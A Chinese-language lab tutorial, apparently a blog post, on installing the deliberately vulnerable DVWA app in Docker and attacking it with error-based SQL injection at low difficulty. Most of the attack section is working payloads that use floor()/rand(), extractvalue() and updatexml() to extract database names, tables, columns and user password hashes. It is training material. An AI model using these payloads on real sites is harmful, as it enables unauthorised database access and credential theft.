docker下載dvwa鏡像,報錯型注入dvwa,low級
一,安裝並配置docker
1,更新源,apt-get update && apt-get upgrade && apt-get clean
2,安裝docker,apt-get install docker.io
3, 配置docker加速器,vim /etc/docker/daemon.json
{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com"
]
}
二、使用docker下載安裝運行dvwa
1,搜索dvwa鏡像,docker search dvwa
2,安裝dvwa鏡像,docker pull citizenstig/dvwa
3,查看確定下載完成,輸入命令docker images,確定有dvwa
4.運行dvwa,docker run -d –rm -p 8008:80 –name dvwa d9c7999da701
5,確定dvwa容器使用的端口被打開,netstat -ntulp |grep 8008
6,靶機訪問127.0.0.1:8008確定可以訪問
7,點擊Create/Reset Database創建好數據庫,點擊Login
8,用戶名admin,密碼password,訪問正常,docker安裝dvwa完成
三、使用報錯型sql注入dvwa,low級別
1,訪問靶機ip 192.168.190.134,登錄dvwa
2,設置級別為low
3,選擇SQL Injection,進入到sql注入頁面,使用floor()報錯函數進行注入,獲取數據庫版本信息
1' and 1=1 union select 1,(select 1 from (select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a)b)#
4,獲取數據庫表名
1' or 1=2 union select 1,(select 1 from (select count(*),concat('~',(select database()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a)b)#
5,獲取數據庫的表,
1' or 1=2 union select 1,(select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#
6,獲取表中列名
1' or 1=2 union select 1,(select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#
其他字段修改limit值一個個就可以爆出來就不例舉了
7,根據之前獲取的列名,發現敏感列user和password獲取字段值
1' or 1=2 union select 1, (select 1 from (select count(*),concat('~',(select concat(user,0x7e,password) from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#
修改Limit值直到獲取不到,就可以得到表中所有用戶賬戶密碼信息了
使用extractvalue報錯函數
extractvalue():從目標XML中返回包含所查詢值的字符串。
語法:extractvalue(目標xml文檔,xml路徑)
第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
使用concat拼接,連接字符串為”~”,因為”~”不是路徑符號,查詢語句會報錯,會將我們所需的信息返回出來
1'and extractvalue(1,concat(0x7e,(select concat(user,0x7e,password) from users limit 0,1),0x7e))#
updatexml()函數報錯注入,類似extractvalue
語法:updatexml(xml_target,xpath_expr,new_xml)
updatexml()函數是MySQL對xml文檔數據進行查詢和修改的xpath函數。
簡單來說就是,用new_xml把xml_target中包含xpath_expr的部分節點(包括xml_target)替換掉。
如:updatexml(<a><b><c>asd</c></b><e></e></a>, '//b', <f>abc</f>),
運行結果:<a><f>abc</f><e></e></a>,
其中'//b'的斜杠表示不管b節點在哪一層都替換掉,而'/b'則是指在根目錄下替換,
注入原理
updatexml()的xml_target和new_xml參數隨便設定一個數,這里主要是利用報錯返回信息。利用updatexml()獲取數據的固定payload是:
or updatexml(1,concat('#',(select * from (select ...) a)),0)
1'or updatexml(1,concat('#',(database())),0)#
1'or updatexml(1,concat(0x7e,(select group_concat(user,0x7e,password) from users limit 0,1)),0)#
完